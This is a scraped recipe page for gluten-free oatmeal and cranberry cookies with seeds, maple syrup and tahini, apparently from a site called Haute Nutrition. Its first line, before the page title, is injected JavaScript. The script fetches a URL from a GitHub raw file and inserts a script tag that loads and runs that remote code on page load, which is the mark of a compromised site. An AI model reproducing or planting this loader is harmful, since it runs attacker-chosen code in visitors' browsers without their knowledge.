;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Oatmeal and Cranberry Cookies - Haute Nutrition
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oatmeal and cranberry cookies

Oatmeal and Cranberry Cookies

Print Recipe Pin Recipe
Prep Time 10 mins
Cook Time 12 mins
Total Time 22 mins
Course Breakfast
Cuisine American
Servings 16
Calories 217 kcal

Ingredients
  

  • 300 ml oatmeal
  • 50 ml flour gluten free
  • 150 ml sunflower seeds
  • 50 ml pumpkin seeds
  • 50 ml sliced ​​almonds
  • 50 ml sesame seeds
  • 3 tbs chia seeds
  • 50 ml dried cranberries or raisins
  • 1 tbs chocolate chips dark
  • 1/4 tbs salt
  • 150 ml maple syrup
  • 75 ml Tahini or almond butter
  • 1/2 tbs vanilla
  • 1 egg * or flax egg

Instructions
 

  • Preheat the oven to 350 ° F and cover a dish with parchment paper.
  • Mix all dry ingredients in a bowl.
  • Mix all wet ingredients in a separate bowl.
  • Pour the dry ingredients in the wet and mix until everything is well mixed
  • Use a biscuit spoon to place cookies of equal size on the baking sheet. Press with your hands (these cookies will not spread)
  • Bake for 12 to 14 minutes.
Keyword healthy cookies